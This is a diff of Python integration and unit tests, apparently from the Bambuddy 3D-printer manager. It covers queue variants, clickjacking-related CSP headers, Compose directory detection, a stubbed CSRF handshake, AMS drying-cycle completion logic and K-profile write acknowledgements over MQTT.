+    async def test_one_candidate_without_a_printer_is_allowed(
+        self, async_client, db_session, sliced_file_factory, printer_factory
+    ):
+        """Slicing for the H2C before the H2C arrives is reasonable. Refusing the
+        whole queue action over it would be worse than that candidate simply
+        never matching."""
+        await printer_factory(model="H2S")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id)
+        assert r.status_code == 200
+        assert len(await _variants_of(db_session, r.json()["id"])) == 2
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejected_when_no_candidate_has_a_printer(self, async_client, sliced_file_factory):
+        """Nothing in the set can ever run — that is a job that waits forever."""
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id)
+        assert r.status_code == 400
+        assert "No active printers" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_assigning_a_printer_is_refused(self, async_client, db_session, sliced_file_factory, printer_factory):
+        """The edit dialog offers a printer picker for every queue item. Taking it
+        would leave a row with variants AND a printer_id — and the fixed-printer
+        branch of the scheduler wins that race, dispatching a row whose
+        library_file_id is still null."""
+        printer = await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+        item_id = (await _queue_variants(async_client, h2s.id, h2c.id)).json()["id"]
+
+        r = await async_client.patch(f"/api/v1/queue/{item_id}", json={"printer_id": printer.id})
+        assert r.status_code == 400
+        assert "alternatives" in r.json()["detail"]
+
+        assert len(await _variants_of(db_session, item_id)) == 2, "the alternatives survive the refusal"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_narrowing_to_one_model_is_refused(self, async_client, sliced_file_factory, printer_factory):
+        """Saving "Any H2C" over a two-candidate job would silently discard the
+        H2S alternative the user deliberately queued."""
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+        item_id = (await _queue_variants(async_client, h2s.id, h2c.id)).json()["id"]
+
+        r = await async_client.patch(f"/api/v1/queue/{item_id}", json={"target_model": "H2C"})
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_resending_the_unchanged_model_is_allowed(self, async_client, sliced_file_factory, printer_factory):
+        """The edit dialog re-sends target_model on every save, so an unchanged
+        value must not block editing the schedule or print options."""
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+        created = (await _queue_variants(async_client, h2s.id, h2c.id)).json()
+
+        r = await async_client.patch(
+            f"/api/v1/queue/{created['id']}",
+            json={"target_model": created["target_model"], "timelapse": True},
+        )
+        assert r.status_code == 200
+        assert r.json()["timelapse"] is True
+        assert len(r.json()["variants"]) == 2, "the response still carries the alternatives"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_quantity_gives_each_copy_its_own_candidates(
+        self, async_client, db_session, sliced_file_factory, printer_factory
+    ):
+        """Attempt counts are per-item, and two copies must be free to land on
+        different printers."""
+        from backend.app.models.print_queue import PrintQueueItem, PrintQueueVariant
+
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id, quantity=3)
+        assert r.status_code == 200
+
+        item_ids = (await db_session.execute(select(PrintQueueItem.id))).scalars().all()
+        assert len(item_ids) == 3
+        total = (await db_session.execute(select(PrintQueueVariant))).scalars().all()
+        assert len(total) == 6

+ 37 - 0
backend/tests/integration/test_security_headers.py

@@ -112,6 +112,43 @@ async def test_default_headers_strict(async_client: AsyncClient, monkeypatch):
     assert "frame-ancestors 'none'" in resp.headers.get("Content-Security-Policy", "")
 
 
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_overlay_route_allows_same_origin_framing(async_client: AsyncClient, monkeypatch):
+    """#1422 — the overlay is framed same-origin by the URL builder's preview.
+
+    'none' blocks that too, which is why the preview showed Firefox's "will not
+    allow Firefox to display the page if another site has embedded it". 'self'
+    permits only a framer on this origin — Bambuddy's own UI — so a
+    clickjacking page on another host is refused exactly as before.
+    """
+    from backend.app import main as main_module
+
+    monkeypatch.setattr(main_module, "_TRUSTED_FRAME_ORIGINS", ())
+
+    resp = await async_client.get("/overlay/1")
+    csp = resp.headers.get("Content-Security-Policy", "")
+    assert "frame-ancestors 'self';" in csp
+    # The legacy header already permitted same-origin framing; only the CSP was
+    # blocking it. Assert it still says so rather than being dropped.
+    assert resp.headers.get("X-Frame-Options") == "SAMEORIGIN"
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_other_spa_routes_still_refuse_all_framing(async_client: AsyncClient, monkeypatch):
+    """The #1422 carve-out is the overlay path only — everything else keeps
+    'none', including paths that merely start with something similar."""
+    from backend.app import main as main_module
+
+    monkeypatch.setattr(main_module, "_TRUSTED_FRAME_ORIGINS", ())
+
+    for path in ("/", "/settings", "/printers", "/overlays", "/camwall"):
+        resp = await async_client.get(path)
+        csp = resp.headers.get("Content-Security-Policy", "")
+        assert "frame-ancestors 'none'" in csp, f"{path} must not be framable"
+
+
 @pytest.mark.asyncio
 @pytest.mark.integration
 async def test_trusted_origins_relaxes_csp_and_drops_xfo(async_client: AsyncClient, monkeypatch):

+ 159 - 1
backend/tests/integration/test_updates_api.py

@@ -1,13 +1,31 @@
 """Integration tests for Updates API endpoints."""
 
 from pathlib import Path
-from unittest.mock import AsyncMock, MagicMock, patch
+from unittest.mock import AsyncMock, MagicMock, mock_open, patch
 
 import pytest
 from httpx import AsyncClient
 
 
 class TestUpdatesAPI:
+    @pytest.fixture(autouse=True)
+    def _reset_update_status(self):
+        """Isolate the module-global ``_update_status`` between tests.
+
+        ``POST /updates/apply`` short-circuits (line 850) when ``_update_status``
+        is ``"downloading"``/``"installing"``, returning a payload WITHOUT the
+        per-branch keys (``is_windows_installer`` etc.). A prior test that let an
+        apply flow run leaves the global mid-update, so a later test in the same
+        parallel worker hits the guard instead of its intended branch. This is
+        order-dependent — it passes locally but flakes on CI's sharded run
+        (``test_apply_update_windows_installer_rejection`` KeyError). Reset to
+        idle before every test so the guard never fires spuriously.
+        """
+        from backend.app.api.routes import updates as updates_module
+
+        updates_module._update_status = {"status": "idle", "progress": 0, "message": "", "error": None}
+        yield
+
     @pytest.mark.asyncio
     async def test_get_version(self, async_client: AsyncClient):
         response = await async_client.get("/api/v1/updates/version")
@@ -778,3 +796,143 @@ class TestUpdatesAPI:
         assert body["update_method"] == "windows_installer"
         assert body["is_windows_installer"] is True
         assert body["installer_download_url"].endswith("bambuddy-999.9.9-windows-x64-setup.exe")
+
+    # --- Compose directory detection (#2664, reporter pchulpjoost) ---
+    # `docker compose pull` only works from the directory holding the compose
+    # file, so the update box's command was unusable until the user remembered
+    # where that was. Compose stamps the answer onto every container it
+    # creates, but reading your own labels needs the Docker socket — a
+    # root-equivalent mount, not worth it for a convenience string. So the
+    # host side of a bind mount in /proc/self/mountinfo is inferred instead.
+
+    def _mountinfo(self, *lines: str):
+        """Patch /proc/self/mountinfo with the given raw lines."""
+        return patch("builtins.open", mock_open(read_data="".join(f"{line}\n" for line in lines)))
+
+    def test_compose_dir_inferred_from_bind_mount(self):
+        """`./data:/app/data` surfaces as the host path; its parent is the
+        compose directory."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "2244 1668 0:137 / / rw,relatime - overlay overlay rw,lowerdir=/x",
+            "1437 2244 0:48 /opt/bambuddy/data /app/data rw,relatime - ext4 /dev/sda1 rw",
+        ):
+            assert _compose_dir_from_mountinfo() == "/opt/bambuddy"
+
+    def test_compose_dir_none_for_named_volume(self):
+        """The shipped compose file uses named volumes, which resolve to
+        /var/lib/docker/volumes/<project>_bambuddy_data/_data. That names the
+        compose *project* and reveals nothing about where the file lives, so
+        the correct answer is "don't know" rather than a plausible guess."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "1290 2246 0:65 /var/lib/docker/volumes/bambuddy_bambuddy_data/_data /app/data rw - ext4 /dev/sda1 rw",
+        ):
+            assert _compose_dir_from_mountinfo() is None
+
+    def test_compose_dir_none_for_relocated_bind_mount(self):
+        """`/mnt/nas/prints:/app/data` is a perfectly ordinary bind mount whose
+        parent is emphatically not a compose directory. The leaf must match the
+        mount point's own name before the parent is trusted."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "1437 2244 0:48 /mnt/nas/prints /app/data rw,relatime - nfs4 nas:/prints rw",
+        ):
+            assert _compose_dir_from_mountinfo() is None
+
+    def test_compose_dir_falls_back_to_logs_mount(self):
+        """A user who bind-mounts only ./logs still gets the directory."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with self._mountinfo(
+            "1290 2246 0:65 /var/lib/docker/volumes/bambuddy_bambuddy_data/_data /app/data rw - ext4 /dev/sda1 rw",
+            "1441 2244 0:48 /srv/bambuddy/logs /app/logs rw,relatime - ext4 /dev/sda1 rw",
+        ):
+            assert _compose_dir_from_mountinfo() == "/srv/bambuddy"
+
+    def test_compose_dir_none_without_mountinfo(self):
+        """Windows and macOS have no /proc; the guess simply doesn't happen."""
+        from backend.app.api.routes.updates import _compose_dir_from_mountinfo
+
+        with patch("builtins.open", side_effect=FileNotFoundError):
+            assert _compose_dir_from_mountinfo() is None
+
+    def test_detect_compose_dir_prefers_env_var(self):
+        """BAMBUDDY_COMPOSE_DIR is stated rather than inferred, so it wins over
+        a mountinfo guess that would otherwise point somewhere else."""
+        from backend.app.api.routes import updates as updates_module
+
+        with (
+            patch.dict("os.environ", {"BAMBUDDY_COMPOSE_DIR": "/srv/stacks/bambuddy"}),
+            patch.object(updates_module, "_compose_dir_from_mountinfo", return_value="/opt/wrong"),
+        ):
+            assert updates_module._detect_compose_dir() == "/srv/stacks/bambuddy"
+
+    def test_detect_compose_dir_skips_mountinfo_outside_docker(self):
+        """A native install has no compose file; mountinfo would still show
+        bind mounts on a host that happens to run other containers."""
+        from backend.app.api.routes import updates as updates_module
+
+        with (
+            patch.dict("os.environ", {"BAMBUDDY_COMPOSE_DIR": ""}),
+            patch.object(updates_module, "_is_docker_environment", return_value=False),
+            patch.object(updates_module, "_compose_dir_from_mountinfo", return_value="/opt/wrong"),
+        ):
+            assert updates_module._detect_compose_dir() is None
+
+    @pytest.mark.asyncio
+    async def test_check_surfaces_compose_dir_only_for_docker(self, async_client: AsyncClient):
+        """The prefill rides along with the Docker branch. A git install must
+        not receive one — there is no compose file to cd into."""
+        import httpx as _httpx
+
+        fake_release = {
+            "tag_name": "v999.9.9",
+            "name": "Far Future Release",
+            "body": "",
+            "html_url": "https://example.invalid/r",
+            "published_at": "2099-01-01T00:00:00Z",
+        }
+
+        class _Resp:
+            status_code = 200
+
+            def raise_for_status(self):
+                return None
+
+            def json(self):
+                return [fake_release]
+
+        class _FakeClient:
+            async def __aenter__(self):
+                return self
+
+            async def __aexit__(self, *_):
+                return None
+
+            async def get(self, *_, **__):
+                return _Resp()
+
+        with (
+            patch.object(_httpx, "AsyncClient", _FakeClient),
+            patch("backend.app.api.routes.updates._is_ha_addon", return_value=False),
+            patch("backend.app.api.routes.updates._is_docker_environment", return_value=True),
+            patch("backend.app.api.routes.updates._detect_compose_dir", return_value="/opt/bambuddy"),
+        ):
+            body = (await async_client.get("/api/v1/updates/check")).json()
+        assert body["update_method"] == "docker"
+        assert body["compose_dir_detected"] == "/opt/bambuddy"
+
+        with (
+            patch.object(_httpx, "AsyncClient", _FakeClient),
+            patch("backend.app.api.routes.updates._is_ha_addon", return_value=False),
+            patch("backend.app.api.routes.updates._is_docker_environment", return_value=False),
+            patch("backend.app.api.routes.updates._is_windows_installer_install", return_value=False),
+            patch("backend.app.api.routes.updates._detect_compose_dir", return_value="/opt/bambuddy"),
+        ):
+            body = (await async_client.get("/api/v1/updates/check")).json()
+        assert body["update_method"] == "git"
+        assert body["compose_dir_detected"] is None

+ 21 - 0
backend/tests/unit/services/test_bambu_cloud.py

@@ -7,6 +7,27 @@ import pytest
 from backend.app.services.bambu_cloud import BambuCloudService
 
 
+@pytest.fixture(autouse=True)
+def _stub_csrf_handshake():
+    """Keep the CSRF pre-flight off the network for every test in this module.
+
+    ``verify_totp`` fetches a CSRF token from the ``bambulab.com`` web origin
+    before posting the code (#2696), and returns early without posting when it
+    cannot get one. The tests below patch only ``post``, so that GET went out
+    over the real network: it succeeded on any machine that could reach
+    bambulab.com — which is why this file passed locally — and returned a
+    tokenless 403 on a CI runner, where six tests then failed asserting on a
+    ``post`` that never happened.
+
+    The handshake itself is covered end to end in
+    ``tests/unit/test_cloud_totp_csrf.py``, including the no-token path, so
+    stubbing it here removes a network dependency rather than any coverage.
+    """
+    with patch.object(BambuCloudService, "_fetch_csrf_token", new_callable=AsyncMock) as fetch:
+        fetch.return_value = "csrf-token-for-tests"
+        yield fetch
+
+
 class TestBambuCloudLogin:
     """Test login flow detection (email vs TOTP)."""
 

+ 545 - 3
backend/tests/unit/services/test_bambu_mqtt.py

@@ -4,9 +4,11 @@ Tests for the BambuMQTTClient service.
 These tests focus on timelapse tracking during prints.
 """
 
+import asyncio
 import json
 import logging
 import time
+from unittest.mock import MagicMock
 
 import pytest
 
@@ -4042,13 +4044,13 @@ class TestSendDryingCommand:
     def test_start_caches_target_for_badge(self, mqtt_client):
         """mode=1 send populates _drying_targets so the badge can render it."""
         mqtt_client.send_drying_command(ams_id=2, temp=65, duration=12, mode=1, filament="PETG")
-        assert mqtt_client._drying_targets[2] == {"filament": "PETG", "temp": 65}
+        assert mqtt_client._drying_targets[2] == {"filament": "PETG", "temp": 65, "duration_hours": 12}
 
     def test_start_overwrites_prior_target_for_same_ams(self, mqtt_client):
         """A second start on the same AMS replaces the cached target."""
         mqtt_client.send_drying_command(ams_id=0, temp=55, duration=4, mode=1, filament="PLA")
         mqtt_client.send_drying_command(ams_id=0, temp=70, duration=6, mode=1, filament="ABS")
-        assert mqtt_client._drying_targets[0] == {"filament": "ABS", "temp": 70}
+        assert mqtt_client._drying_targets[0] == {"filament": "ABS", "temp": 70, "duration_hours": 6}
 
     def test_stop_clears_target(self, mqtt_client):
         """mode=0 send drops the cache so the badge stops showing the target."""
@@ -4063,7 +4065,7 @@ class TestSendDryingCommand:
         mqtt_client.send_drying_command(ams_id=128, temp=80, duration=6, mode=1, filament="PA-CF")
         mqtt_client.send_drying_command(ams_id=0, temp=0, duration=0, mode=0)
         assert 0 not in mqtt_client._drying_targets
-        assert mqtt_client._drying_targets[128] == {"filament": "PA-CF", "temp": 80}
+        assert mqtt_client._drying_targets[128] == {"filament": "PA-CF", "temp": 80, "duration_hours": 6}
 
 
 class TestStartPrintAmsMapping:
@@ -6076,6 +6078,131 @@ class TestDryingCompleteCallback:
         mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
         assert mqtt_client._drying_events == [0]
 
+    def test_transient_zero_while_checking_is_not_completion(self, mqtt_client):
+        """#2759 — between the command ack and the countdown settling, firmware
+        publishes a dry_time of 0 while the AMS is still in its Checking phase.
+        The reporter's log caught 720 → 0 → 719 one minute into a 12-hour
+        cycle: it dropped the cached target (so the badge guessed the filament
+        from tray 1 and read "PETG @ 65°C" for a PLA dry) and armed smart-plug
+        auto-off."""
+        mqtt_client._drying_targets[0] = {"filament": "PLA", "temp": 45}
+        # Cycle starts: 12 hours, unit reports dry_status 1 (Checking).
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 720, "info": "11402113", "tray": []}]})
+        assert mqtt_client._drying_events == []
+
+        # The blip: dry_time 0, still Checking.
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "info": "11402113", "tray": []}]})
+        assert mqtt_client._drying_events == []
+        # And the user's chosen target survived it.
+        assert mqtt_client._drying_targets[0] == {"filament": "PLA", "temp": 45}
+
+        # Countdown settles and the unit moves to dry_status 2 (Drying).
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 719, "info": "11402123", "tray": []}]})
+        assert mqtt_client._drying_events == []
+
+        # Twelve hours later it really finishes, back to dry_status 0 (Off).
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "info": "11402103", "tray": []}]})
+        assert mqtt_client._drying_events == [0]
+        assert 0 not in mqtt_client._drying_targets
+
+    def test_zero_while_stopping_completes(self, mqtt_client):
+        """dry_status 4 (Stopping) means the cycle is ending, not running — the
+        edge must still fire so smart-plug auto-off runs when a user stops a
+        dry early."""
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 720, "info": "11402123", "tray": []}]})
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "info": "11402143", "tray": []}]})
+        assert mqtt_client._drying_events == [0]
+
+    def test_absent_dry_status_still_completes(self, mqtt_client):
+        """The phase gate is a suppression, not a requirement: firmware that
+        never reports an info hex must still be able to end a cycle."""
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 720, "tray": []}]})
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
+        assert mqtt_client._drying_events == [0]
+
+    def test_early_end_logs_firmware_reason_codes(self, mqtt_client, caplog):
+        """#2770 — a 12-hour cycle the firmware abandoned 20 minutes in logged
+        only 'drying complete', so the report carried no evidence of why. An
+        early end now names the shortfall and the reason fields we already
+        parse: phase, sub-phase, cannot-dry codes and live HMS."""
+        from backend.app.services.bambu_mqtt import HMSError
+
+        mqtt_client.state.hms_errors = [
+            HMSError(code="0x2000003", attr=0x07008000, module=7, severity=2, full_code="0700800002000003")
+        ]
+        mqtt_client._client = MagicMock()
+        mqtt_client.send_drying_command(ams_id=0, temp=65, duration=12, mode=1, filament="PETG")
+        mqtt_client._handle_ams_data(
+            {"ams": [{"id": "0", "dry_time": 700, "info": "10002123", "dry_sf_reason": [1], "tray": []}]}
+        )
+        with caplog.at_level(logging.INFO, logger="backend.app.services.bambu_mqtt"):
+            mqtt_client._handle_ams_data(
+                {"ams": [{"id": "0", "dry_time": 0, "info": "10002103", "dry_sf_reason": [1], "tray": []}]}
+            )
+
+        assert mqtt_client._drying_events == [0]
+        message = "\n".join(r.getMessage() for r in caplog.records)
+        assert "drying ended early" in message
+        # The shortfall, against the duration we asked the firmware for.
+        assert "700 of 720 minutes" in message
+        # dry_status 0 (Off) and dry_sub_status 0 from info hex 10002103.
+        assert "dry_status=0" in message
+        assert "dry_sub_status=0" in message
+        # InsufficientPower, and the AMS heater-fan HMS that goes with it.
+        assert "dry_sf_reason=[1]" in message
+        assert "0700800002000003" in message
+
+    def test_early_end_without_a_cached_target_still_logs(self, mqtt_client, caplog):
+        """A cycle Bambuddy did not start — from the printer's screen, from
+        Studio, or from before a restart — has no cached duration to compare
+        against. The remaining time alone still proves it was cut short, so the
+        reason codes must be logged rather than withheld for lack of a target."""
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 480, "tray": []}]})
+        with caplog.at_level(logging.INFO, logger="backend.app.services.bambu_mqtt"):
+            mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
+
+        message = "\n".join(r.getMessage() for r in caplog.records)
+        assert "drying ended early" in message
+        assert "480 of ? minutes" in message
+        assert "hms=none" in message
+
+    def test_stop_we_sent_is_not_blamed_on_the_firmware(self, mqtt_client, caplog):
+        """A stop Bambuddy sends — print takes priority, or the user's Stop
+        button — also ends the cycle far short of its duration, which on the
+        telemetry alone looks exactly like the firmware abandoning it. It must
+        be named as ours rather than reported as an unexplained early end."""
+        mqtt_client._client = MagicMock()
+        mqtt_client.send_drying_command(ams_id=0, temp=65, duration=12, mode=1, filament="PETG")
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 700, "tray": []}]})
+        mqtt_client.send_drying_command(ams_id=0, temp=0, duration=0, mode=0)
+        with caplog.at_level(logging.INFO, logger="backend.app.services.bambu_mqtt"):
+            mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
+
+        message = "\n".join(r.getMessage() for r in caplog.records)
+        assert "drying stopped by Bambuddy" in message
+        assert "ended early" not in message
+        # And the attribution is consumed, so a later firmware-ended cycle on
+        # the same unit is not credited to a stop we sent hours earlier.
+        mqtt_client.send_drying_command(ams_id=0, temp=65, duration=12, mode=1, filament="PETG")
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 700, "tray": []}]})
+        caplog.clear()
+        with caplog.at_level(logging.INFO, logger="backend.app.services.bambu_mqtt"):
+            mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
+        assert "drying ended early" in "\n".join(r.getMessage() for r in caplog.records)
+
+    def test_cycle_that_runs_to_term_keeps_the_plain_completion_log(self, mqtt_client, caplog):
+        """The countdown of a cycle that finishes normally is all but exhausted
+        when it drops to 0. Nothing needs explaining, so it keeps the one-line
+        message it has always had — the early-end diagnostics must not become
+        noise on every completed dry."""
+        mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 1, "tray": []}]})
+        with caplog.at_level(logging.INFO, logger="backend.app.services.bambu_mqtt"):
+            mqtt_client._handle_ams_data({"ams": [{"id": "0", "dry_time": 0, "tray": []}]})
+
+        message = "\n".join(r.getMessage() for r in caplog.records)
+        assert "drying complete (dry_time 1 → 0)" in message
+        assert "ended early" not in message
+
 
 class TestPrintRunningObservedCallback:
     """#1485 follow-up: on_print_running_observed fires the FIRST time we
@@ -6832,6 +6959,302 @@ class TestKProfileResponseDoesNotClobberNozzle:
         assert mqtt_client.state.nozzles[0].nozzle_diameter == "0.4"
 
 
+class TestKProfileNozzleDiameterFromEnvelope:
+    """#1748: every K-profile came back as 0.4mm on single-nozzle printers.
+
+    ``extrusion_cali_get`` carries ``nozzle_diameter`` only on the response
+    envelope — the per-filament entries hold just setting_id, filament_id,
+    name, k_value, n_coef and cali_idx. The parser read the field per entry
+    with a "0.4" default, so a 0.6/0.8 nozzle's profiles were all stamped 0.4.
+    Beyond the K-Profiles display that broke the cali_idx cascade in the
+    inventory and Spoolman assign paths, which match on nozzle_diameter.
+    """
+
+    @pytest.fixture
+    def mqtt_client(self):
+        from backend.app.services.bambu_mqtt import BambuMQTTClient
+
+        return BambuMQTTClient(
+            ip_address="192.168.1.100",
+            serial_number="X1ETEST",
+            access_code="12345678",
+        )
+
+    @staticmethod
+    def _response(nozzle="0.8", entries=None, seq="48"):
+        """A verbatim-shaped extrusion_cali_get payload from the #1748 report."""
+        if entries is None:
+            entries = [
+                {
+                    "setting_id": "GFSNLS02_07",
+                    "filament_id": "GFSNL02",
+                    "name": "SUNLU PLA Matte WHITE 0.8",
+                    "k_value": "0.01750",
+                    "n_coef": "1.000",
+                    "cali_idx": 265,
+                    "is_history_setting": True,
+                }
+            ]
+        print_data = {"command": "extrusion_cali_get", "filament_id": "", "filaments": entries}
+        if nozzle is not None:
+            print_data["nozzle_diameter"] = nozzle
+        if seq is not None:
+            print_data["sequence_id"] = seq
+        return {"print": print_data}
+
+    def test_broadcast_uses_envelope_diameter(self, mqtt_client):
+        # No request in flight: the unsolicited broadcast still has to record
+        # the right diameter, because state.kprofiles is what the assign paths
+        # read when nobody has just fetched.
+        mqtt_client._process_message(self._response(nozzle="0.8"))
+        assert [p.nozzle_diameter for p in mqtt_client.state.kprofiles] == ["0.8"]
+
+    @pytest.mark.asyncio
+    async def test_awaited_response_uses_envelope_diameter(self, mqtt_client):
+        profiles = await self._fetch(mqtt_client, "0.6", self._response(nozzle="0.6", seq="7"))
+        assert [p.nozzle_diameter for p in profiles] == ["0.6"]
+
+    def test_entry_value_still_wins(self, mqtt_client):
+        # Dual-nozzle firmware does put the field on each entry; that stays
+        # authoritative, since a batch can legitimately span nozzles.
+        entries = [{"cali_idx": 1, "filament_id": "GFA00", "name": "PLA", "nozzle_diameter": "0.4"}]
+        mqtt_client._process_message(self._response(nozzle="0.8", entries=entries))
+        assert mqtt_client.state.kprofiles[0].nozzle_diameter == "0.4"
+
+    def test_empty_entry_value_falls_back_to_envelope(self, mqtt_client):
+        entries = [{"cali_idx": 1, "filament_id": "GFA00", "name": "PLA", "nozzle_diameter": ""}]
+        mqtt_client._process_message(self._response(nozzle="0.8", entries=entries))
+        assert mqtt_client.state.kprofiles[0].nozzle_diameter == "0.8"
+
+    def test_no_envelope_value_falls_back_to_default(self, mqtt_client):
+        # Neither source available: keep the old default rather than let
+        # str(None) write the literal string "None" into the profile.
+        mqtt_client._process_message(self._response(nozzle=None))
+        assert mqtt_client.state.kprofiles[0].nozzle_diameter == "0.4"
+
+    @staticmethod
+    async def _fetch(client, nozzle, response):
+        """Run get_kprofiles, feeding `response` in as the printer's answer."""
+        client.state.connected = True
+        client._client = MagicMock()
+        client._client.publish.side_effect = lambda *a, **kw: client._process_message(response)
+        return await client.get_kprofiles(nozzle_diameter=nozzle, timeout=2.0)
+
+
+class TestKProfileWriteAcks:
+    """#2718: K-profile writes were fire-and-forget.
+
+    ``set_kprofiles_batch`` published and returned True immediately, and the
+    printer's ``extrusion_cali_set`` answer was logged at DEBUG and dropped, so
+    a rejected write was reported to the user as saved. Two facts measured on
+    real hardware shape the fix: the printer echoes our ``sequence_id`` back
+    (so the ack can be correlated), and it answers ``result: "fail",
+    reason: "invalid tray_id"`` to ``tray_id: -1`` on single-nozzle firmware
+    while applying the write anyway — flipping that field to 0 is what makes
+    ``result`` trustworthy.
+    """
+
+    @pytest.fixture
+    def mqtt_client(self):
+        from backend.app.services.bambu_mqtt import BambuMQTTClient
+
+        client = BambuMQTTClient(
+            ip_address="192.168.1.100",
+            serial_number="X1CTEST",
+            access_code="12345678",
+        )
+        client.state.connected = True
+        client._client = MagicMock()
+        return client
+
+    @staticmethod
+    def _sent(client):
+        return json.loads(client._client.publish.call_args[0][1])["print"]
+
+    def test_set_sends_tray_id_zero(self, mqtt_client):
+        mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        assert self._sent(mqtt_client)["filaments"][0]["tray_id"] == 0
+
+    def test_batch_sends_tray_id_zero(self, mqtt_client):
+        mqtt_client.set_kprofiles_batch([{"filament_id": "GFL99", "name": "t", "k_value": "0.020000"}])
+        assert self._sent(mqtt_client)["filaments"][0]["tray_id"] == 0
+
+    def test_writers_return_their_sequence_id(self, mqtt_client):
+        seq = mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        assert seq == self._sent(mqtt_client)["sequence_id"]
+        assert seq in mqtt_client._pending_cali_acks
+
+    def test_writers_return_none_when_disconnected(self, mqtt_client):
+        mqtt_client.state.connected = False
+        assert mqtt_client.set_kprofile(filament_id="GFL99", name="t", k_value="0.02") is None
+        assert mqtt_client.set_kprofiles_batch([{"filament_id": "GFL99"}]) is None
+        assert mqtt_client.delete_kprofile(cali_idx=1, filament_id="GFL99", nozzle_id="HH00-0.4") is None
+
+    def test_per_tray_extrusion_cali_set_advances_the_sequence_id(self, mqtt_client):
+        # It used to reuse the previous command's id, which would silently
+        # defeat the correlation the write path now depends on.
+        before = mqtt_client._sequence_id
+        mqtt_client.extrusion_cali_set(tray_id=0, k_value=0.02)
+        assert mqtt_client._sequence_id > before
+        assert self._sent(mqtt_client)["sequence_id"] == str(mqtt_client._sequence_id)
+
+    @pytest.mark.asyncio
+    async def test_failure_ack_is_reported_as_failure(self, mqtt_client):
+        seq = mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        mqtt_client._process_message(
+            {
+                "print": {
+                    "command": "extrusion_cali_set",
+                    "result": "fail",
+                    "reason": "invalid tray_id",
+                    "sequence_id": seq,
+                }
+            }
+        )
+        ok, detail = await mqtt_client.await_cali_ack(seq, timeout=2.0)
+        assert ok is False
+        assert detail == "invalid tray_id"
+
+    @pytest.mark.asyncio
+    async def test_success_ack_passes(self, mqtt_client):
+        seq = mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        mqtt_client._process_message(
+            {"print": {"command": "extrusion_cali_set", "result": "success", "reason": "", "sequence_id": seq}}
+        )
+        ok, _ = await mqtt_client.await_cali_ack(seq, timeout=2.0)
+        assert ok is True
+
+    @pytest.mark.asyncio
+    async def test_ack_for_another_write_does_not_resolve_this_one(self, mqtt_client):
+        seq = mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        mqtt_client._process_message(
+            {
+                "print": {
+                    "command": "extrusion_cali_set",
+                    "result": "fail",
+                    "reason": "invalid tray_id",
+                    "sequence_id": "999999",
+                }
+            }
+        )
+        # Unrelated sequence_id: this write is still unanswered, so it times
+        # out rather than inheriting someone else's failure.
+        ok, detail = await mqtt_client.await_cali_ack(seq, timeout=0.3)
+        assert ok is True
+        assert "no acknowledgement" in detail
+
+    @pytest.mark.asyncio
+    async def test_silence_is_not_treated_as_rejection(self, mqtt_client):
+        # Firmware that never answers must not turn every save into an error.
+        seq = mqtt_client.delete_kprofile(cali_idx=1, filament_id="GFL99", nozzle_id="HH00-0.4")
+        ok, detail = await mqtt_client.await_cali_ack(seq, timeout=0.3)
+        assert ok is True
+        assert "no acknowledgement" in detail
+
+    @pytest.mark.asyncio
+    async def test_pending_slot_is_released(self, mqtt_client):
+        seq = mqtt_client.set_kprofile(filament_id="GFL99", name="test", k_value="0.022000")
+        await mqtt_client.await_cali_ack(seq, timeout=0.3)
+        assert mqtt_client._pending_cali_acks == {}
+
